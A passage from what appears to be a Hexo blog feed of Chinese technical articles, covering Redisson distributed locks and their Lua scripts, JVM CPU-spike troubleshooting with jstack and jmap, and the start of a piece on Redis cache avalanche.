class="title function_">processWithFairLock</span><span class="params">(Long taskId)</span> &#123;</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">fairLock</span> <span class="operator">=</span> redisson.getFairLock(<span class="string">&quot;lock:task:&quot;</span> + taskId);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            fairLock.lock();</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="comment">// 按请求顺序处理任务</span></span><br><span class="line">                processTask(taskId);</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                fairLock.unlock();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;处理失败&quot;</span>, e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、读写锁（ReadWrite-Lock）"><a href="#四、读写锁（ReadWrite-Lock）" class="headerlink" title="四、读写锁（ReadWrite Lock）"></a>四、读写锁（ReadWrite Lock）</h2><p>#</p><h2 id="4-1-读写锁特点"><a href="#4-1-读写锁特点" class="headerlink" title="4.1 读写锁特点"></a>4.1 读写锁特点</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">RReadWriteLock</span> <span class="variable">rwLock</span> <span class="operator">=</span> redisson.getReadWriteLock(<span class="string">&quot;lock:cache:data&quot;</span>);</span><br><span class="line"><span class="type">RLock</span> <span class="variable">readLock</span> <span class="operator">=</span> rwLock.readLock();</span><br><span class="line"><span class="type">RLock</span> <span class="variable">writeLock</span> <span class="operator">=</span> rwLock.writeLock();</span><br></pre></td></tr></table></figure><p><strong>规则</strong>：</p><ul><li>读锁：多个线程可同时获取</li><li>写锁：独占，其他读/写都阻塞</li><li>写锁优先：有写锁等待时，新的读锁阻塞</li></ul><p>#</p><h2 id="4-2-读写锁使用"><a href="#4-2-读写锁使用" class="headerlink" title="4.2 读写锁使用"></a>4.2 读写锁使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> DataMapper dataMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">RReadWriteLock</span> <span class="variable">rwLock</span> <span class="operator">=</span> redisson.getReadWriteLock(<span class="string">&quot;lock:data&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 读操作</span></span><br><span class="line">    <span class="keyword">public</span> Data <span class="title function_">getData</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">readLock</span> <span class="operator">=</span> rwLock.readLock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            readLock.lock();</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 从缓存获取</span></span><br><span class="line">            <span class="type">Data</span> <span class="variable">data</span> <span class="operator">=</span> getFromCache(id);</span><br><span class="line">            <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> data;</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 从数据库获取</span></span><br><span class="line">            data = dataMapper.findById(id);</span><br><span class="line">            <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">                putToCache(id, data);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> data;</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            readLock.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 写操作</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateData</span><span class="params">(Data data)</span> &#123;</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">writeLock</span> <span class="operator">=</span> rwLock.writeLock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            writeLock.lock();</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 更新数据库</span></span><br><span class="line">            dataMapper.update(data);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 更新缓存</span></span><br><span class="line">            putToCache(data.getId(), data);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            writeLock.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、信号量（Semaphore）"><a href="#五、信号量（Semaphore）" class="headerlink" title="五、信号量（Semaphore）"></a>五、信号量（Semaphore）</h2><p>#</p><h2 id="5-1-基本使用"><a href="#5-1-基本使用" class="headerlink" title="5.1 基本使用"></a>5.1 基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SemaphoreService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 限制并发数为10</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">limitedAccess</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">RSemaphore</span> <span class="variable">semaphore</span> <span class="operator">=</span> redisson.getSemaphore(<span class="string">&quot;semaphore:api&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 初始化信号量（只需执行一次）</span></span><br><span class="line">        <span class="comment">// semaphore.trySetPermits(10);</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 获取许可</span></span><br><span class="line">            semaphore.acquire();</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="comment">// 执行受限操作</span></span><br><span class="line">                callExternalAPI();</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                <span class="comment">// 释放许可</span></span><br><span class="line">                semaphore.release();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-限流场景"><a href="#5-2-限流场景" class="headerlink" title="5.2 限流场景"></a>5.2 限流场景</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RateLimiterService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">apiCall</span><span class="params">(String clientId)</span> &#123;</span><br><span class="line">        <span class="type">RSemaphore</span> <span class="variable">semaphore</span> <span class="operator">=</span> redisson.getSemaphore(<span class="string">&quot;rate:limit:&quot;</span> + clientId);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 每秒最多5个请求</span></span><br><span class="line">        semaphore.trySetPermits(<span class="number">5</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="type">boolean</span> <span class="variable">acquired</span> <span class="operator">=</span> semaphore.tryAcquire();</span><br><span class="line">        <span class="keyword">if</span> (!acquired) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RateLimitException</span>(<span class="string">&quot;请求过于频繁&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 执行API调用</span></span><br><span class="line">            doApiCall();</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="comment">// 延迟释放（实现时间窗口）</span></span><br><span class="line">            <span class="type">ScheduledExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newSingleThreadScheduledExecutor();</span><br><span class="line">            executor.schedule(() -&gt; semaphore.release(), <span class="number">1</span>, TimeUnit.SECONDS);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、CountDownLatch"><a href="#六、CountDownLatch" class="headerlink" title="六、CountDownLatch"></a>六、CountDownLatch</h2><p>#</p><h2 id="6-1-基本使用"><a href="#6-1-基本使用" class="headerlink" title="6.1 基本使用"></a>6.1 基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ParallelService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">parallelProcess</span><span class="params">(List&lt;Task&gt; tasks)</span> &#123;</span><br><span class="line">        <span class="type">RCountDownLatch</span> <span class="variable">latch</span> <span class="operator">=</span> redisson.getCountDownLatch(<span class="string">&quot;latch:tasks&quot;</span>);</span><br><span class="line">        latch.trySetCount(tasks.size());</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (Task task : tasks) &#123;</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    processTask(task);</span><br><span class="line">                &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                    latch.countDown();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;).start();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 等待所有任务完成</span></span><br><span class="line">            latch.await();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        System.out.println(<span class="string">&quot;所有任务完成&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、RedissonLock原理"><a href="#七、RedissonLock原理" class="headerlink" title="七、RedissonLock原理"></a>七、RedissonLock原理</h2><p>#</p><h2 id="7-1-加锁Lua脚本"><a href="#7-1-加锁Lua脚本" class="headerlink" title="7.1 加锁Lua脚本"></a>7.1 加锁Lua脚本</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 加锁</span></span><br><span class="line"><span class="keyword">if</span> (redis.call(<span class="string">&#x27;exists&#x27;</span>, KEYS[<span class="number">1</span>]) == <span class="number">0</span>) <span class="keyword">then</span></span><br><span class="line">    redis.call(<span class="string">&#x27;hincrby&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">2</span>], <span class="number">1</span>);</span><br><span class="line">    redis.call(<span class="string">&#x27;pexpire&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">1</span>]);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span>;</span><br><span class="line"><span class="keyword">end</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (redis.call(<span class="string">&#x27;hexists&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">2</span>]) == <span class="number">1</span>) <span class="keyword">then</span></span><br><span class="line">    redis.call(<span class="string">&#x27;hincrby&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">2</span>], <span class="number">1</span>);</span><br><span class="line">    redis.call(<span class="string">&#x27;pexpire&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">1</span>]);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span>;</span><br><span class="line"><span class="keyword">end</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> redis.call(<span class="string">&#x27;pttl&#x27;</span>, KEYS[<span class="number">1</span>]);</span><br></pre></td></tr></table></figure><p><strong>参数说明</strong>：</p><ul><li>KEYS[1]: 锁名</li><li>ARGV[1]: 过期时间（毫秒）</li><li>ARGV[2]: 线程标识（UUID:threadId）</li></ul><p><strong>逻辑</strong>：</p><ol><li>锁不存在：创建hash，设置值为1，设置过期时间</li><li>锁存在且是当前线程：重入计数+1，续期</li><li>锁存在且不是当前线程：返回剩余过期时间</li></ol><p>#</p><h2 id="7-2-解锁Lua脚本"><a href="#7-2-解锁Lua脚本" class="headerlink" title="7.2 解锁Lua脚本"></a>7.2 解锁Lua脚本</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 解锁</span></span><br><span class="line"><span class="keyword">if</span> (redis.call(<span class="string">&#x27;hexists&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">3</span>]) == <span class="number">0</span>) <span class="keyword">then</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span>;</span><br><span class="line"><span class="keyword">end</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">local</span> counter = redis.call(<span class="string">&#x27;hincrby&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">3</span>], <span class="number">-1</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (counter &gt; <span class="number">0</span>) <span class="keyword">then</span></span><br><span class="line">    redis.call(<span class="string">&#x27;pexpire&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">2</span>]);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    redis.call(<span class="string">&#x27;del&#x27;</span>, KEYS[<span class="number">1</span>]);</span><br><span class="line">    redis.call(<span class="string">&#x27;publish&#x27;</span>, KEYS[<span class="number">2</span>], ARGV[<span class="number">1</span>]);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">end</span>;</span><br></pre></td></tr></table></figure><p><strong>逻辑</strong>：</p><ol><li>不是自己的锁：返回nil</li><li>重入计数-1，如果还大于0：续期</li><li>重入计数为0：删除锁，发布解锁消息</li></ol><p>#</p><h2 id="7-3-看门狗续期"><a href="#7-3-看门狗续期" class="headerlink" title="7.3 看门狗续期"></a>7.3 看门狗续期</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 获取锁后启动定时任务</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">scheduleExpirationRenewal</span><span class="params">(<span class="type">long</span> threadId)</span> &#123;</span><br><span class="line">    <span class="type">Timeout</span> <span class="variable">task</span> <span class="operator">=</span> commandExecutor.getConnectionManager().newTimeout(</span><br><span class="line">        timeout -&gt; &#123;</span><br><span class="line">            <span class="comment">// 续期Lua脚本</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">script</span> <span class="operator">=</span> </span><br><span class="line">                <span class="string">&quot;if (redis.call(&#x27;hexists&#x27;, KEYS[1], ARGV[2]) == 1) then &quot;</span> +</span><br><span class="line">                <span class="string">&quot;redis.call(&#x27;pexpire&#x27;, KEYS[1], ARGV[1]); &quot;</span> +</span><br><span class="line">                <span class="string">&quot;return 1; &quot;</span> +</span><br><span class="line">                <span class="string">&quot;end; &quot;</span> +</span><br><span class="line">                <span class="string">&quot;return 0;&quot;</span>;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 执行续期</span></span><br><span class="line">            <span class="comment">// 如果续期成功，递归调用自己，继续定时续期</span></span><br><span class="line">            <span class="comment">// 如果锁已不存在，停止续期</span></span><br><span class="line">        &#125;,</span><br><span class="line">        internalLockLeaseTime / <span class="number">3</span>,  <span class="comment">// 1/3过期时间后续期</span></span><br><span class="line">        TimeUnit.MILLISECONDS</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="八、最佳实践"><a href="#八、最佳实践" class="headerlink" title="八、最佳实践"></a>八、最佳实践</h2><p>#</p><h2 id="8-1-锁粒度控制"><a href="#8-1-锁粒度控制" class="headerlink" title="8.1 锁粒度控制"></a>8.1 锁粒度控制</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好的做法：锁粒度尽量小</span></span><br><span class="line"><span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:order:&quot;</span> + orderId);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 不好的做法：锁粒度过大</span></span><br><span class="line"><span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:all:orders&quot;</span>);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-锁超时设置"><a href="#8-2-锁超时设置" class="headerlink" title="8.2 锁超时设置"></a>8.2 锁超时设置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 根据业务时间设置合理的超时时间</span></span><br><span class="line"><span class="comment">// 太短：业务未完成锁就释放</span></span><br><span class="line"><span class="comment">// 太长：故障时恢复时间长</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 一般业务：30-60秒</span></span><br><span class="line">lock.tryLock(<span class="number">10</span>, <span class="number">30</span>, TimeUnit.SECONDS);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 复杂业务：使用看门狗自动续期</span></span><br><span class="line">lock.tryLock(<span class="number">10</span>, TimeUnit.SECONDS);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-3-异常处理"><a href="#8-3-异常处理" class="headerlink" title="8.3 异常处理"></a>8.3 异常处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">safeLockOperation</span><span class="params">(String lockKey, Runnable operation)</span> &#123;</span><br><span class="line">    <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(lockKey);</span><br><span class="line">    <span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        locked = lock.tryLock(<span class="number">10</span>, <span class="number">30</span>, TimeUnit.SECONDS);</span><br><span class="line">        <span class="keyword">if</span> (!locked) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">LockException</span>(<span class="string">&quot;获取锁失败: &quot;</span> + lockKey);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        operation.run();</span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">        Thread.currentThread().interrupt();</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">LockException</span>(<span class="string">&quot;获取锁被中断&quot;</span>, e);</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (locked &amp;&amp; lock.isHeldByCurrentThread()) &#123;</span><br><span class="line">            lock.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="九、常见问题"><a href="#九、常见问题" class="headerlink" title="九、常见问题"></a>九、常见问题</h2><p>#</p><h2 id="9-1-锁不释放"><a href="#9-1-锁不释放" class="headerlink" title="9.1 锁不释放"></a>9.1 锁不释放</h2><p><strong>原因</strong>：</p><ul><li>业务异常导致未执行unlock</li><li>进程崩溃</li></ul><p><strong>解决</strong>：</p><ul><li>使用try-finally确保解锁</li><li>设置合理的过期时间</li></ul><p>#</p><h2 id="9-2-锁续期问题"><a href="#9-2-锁续期问题" class="headerlink" title="9.2 锁续期问题"></a>9.2 锁续期问题</h2><p><strong>现象</strong>：业务执行时间长，锁过期了</p><p><strong>解决</strong>：</p><ul><li>使用看门狗自动续期</li><li>或手动设置足够长的过期时间</li></ul><p>#</p><h2 id="9-3-锁的可见性"><a href="#9-3-锁的可见性" class="headerlink" title="9.3 锁的可见性"></a>9.3 锁的可见性</h2><p><strong>问题</strong>：一个服务获取的锁，另一个服务能看到吗？</p><p><strong>回答</strong>：可以，Redisson使用Redis实现分布式锁，所有连接同一个Redis的服务都能看到锁状态。</p><h2 id="十、总结"><a href="#十、总结" class="headerlink" title="十、总结"></a>十、总结</h2><table><thead><tr><th>锁类型</th><th>特点</th><th>适用场景</th></tr></thead><tbody><tr><td>可重入锁</td><td>同线程可多次获取</td><td>一般分布式锁场景</td></tr><tr><td>公平锁</td><td>按请求顺序获取</td><td>需要公平性的场景</td></tr><tr><td>读写锁</td><td>读共享写独占</td><td>读多写少</td></tr><tr><td>信号量</td><td>限制并发数</td><td>限流</td></tr><tr><td>CountDownLatch</td><td>等待多个任务</td><td>并行任务同步</td></tr></tbody></table><p>Redisson分布式锁的核心优势：</p><ol><li><strong>看门狗续期</strong>：自动防止锁过期</li><li><strong>可重入</strong>：同线程多次获取不会死锁</li><li><strong>阻塞等待</strong>：获取锁失败可以等待</li><li><strong>公平性可选</strong>：支持公平和非公平锁</li><li><strong>丰富的并发工具</strong>：Semaphore、CountDownLatch等</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线上 CPU 飙高如何定位 Java 问题</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="线上-CPU-飙高如何定位-Java-问题"><a href="#线上-CPU-飙高如何定位-Java-问题" class="headerlink" title="线上 CPU 飙高如何定位 Java 问题"></a>线上 CPU 飙高如何定位 Java 问题</h1><p>线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis缓存雪崩与预防</title>
      <link href="//redis-cache-avalanche-prevention/"/>
      <url>//redis-cache-avalanche-prevention/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis缓存雪崩与预防"><a href="#Redis缓存雪崩与预防" class="headerlink" title="Redis缓存雪崩与预防"></a>Redis缓存雪崩与预防</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、缓存雪崩场景"><a href="#一、缓存雪崩场景" class="headerlink" title="一、缓存雪崩场景"></a>一、缓存雪崩场景</h2><p>#</p><h2 id="1-1-同时失效场景"><a href="#1-1-同时失效场景" class="headerlink" title="1.1 同时失效场景"></a>1.1 同时失效场景</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">场景：大量key设置了相同的过期时间</span><br><span class="line"></span><br><span class="line">09:00:00  key1过期</span><br><span class="line">09:00:00  key2过期</span><br><span class="line">09:00:00  key3过期</span><br><span class="line">...       ...</span><br><span class="line">09:00:00  key10000过期</span><br><span class="line"></span><br><span class="line">瞬间：</span><br><span class="line">  请求1 → key1未命中 → 查数据库</span><br><span class="line">  请求2 → key2未命中 → 查数据库</span><br><span class="line">  ...</span><br><span class="line">  请求10000 → key10000未命中 → 查数据库</span><br><span class="line"></span><br><span class="line">数据库QPS瞬间从1000飙升到10000+，数据库宕机！</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-Redis宕机场景"><a href="#1-2-Redis宕机场景" class="headerlink" title="1.2 Redis宕机场景"></a>1.2 Redis宕机场景</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">场景：Redis集群故障或重启</span><br><span class="line"></span><br><span class="line">Redis宕机</span><br><span class="line">    │</span><br><span class="line">    ├── 所有缓存失效</span><br><span class="line">    │</span><br><span class="line">    └── 所有请求打到数据库</span><br><span class="line">        └── 数据库瞬间被压垮</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-3-与缓存击穿、穿透的区别"><a href="#1-3-与缓存击穿、穿透的区别" class="headerlink" title="1.3 与缓存击穿、穿透的区别"></a>1.3 与缓存击穿、穿透的区别</h2><table><thead><tr><th>问题</th><th>影响范围</th><th>原因</th></tr></thead><tbody><tr><td>缓存穿透</td><td>单个key</td><td>查询不存在的数据</td></tr><tr><td>缓存击穿</td><td>单个key</td><td>热点key过期</td></tr><tr><td>缓存雪崩</td><td>大量key</td><td>大量key同时过期或Redis宕机</td></tr></tbody></table><h2 id="二、过期时间打散"><a href="#二、过期时间打散" class="headerlink" title="二、过期时间打散"></a>二、过期时间打散</h2><p>#</p><h2 id="2-1-随机过期时间"><a href="#2-1-随机过期时间" class="headerlink" title="2.1 随机过期时间"></a>2.1 随机过期时间</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProductService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">BASE_TTL</span> <span class="operator">=</span> <span class="number">3600</span>;  <span class="comment">// 基础过期时间1小时</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">RANDOM_RANGE</span> <span class="operator">=</span> <span class="number">300</span>;  <span class="comment">// 随机范围5分钟</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + id;</span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, Product.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> productMapper.findById(id);</span><br><span class="line">        <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 基础时间 + 随机偏移</span></span><br><span class="line">            <span class="type">int</span> <span class="variable">ttl</span> <span class="operator">=</span> BASE_TTL + ThreadLocalRandom.current().nextInt(RANDOM_RANGE);</span><br><span class="line">            redis.opsForValue().set(key, 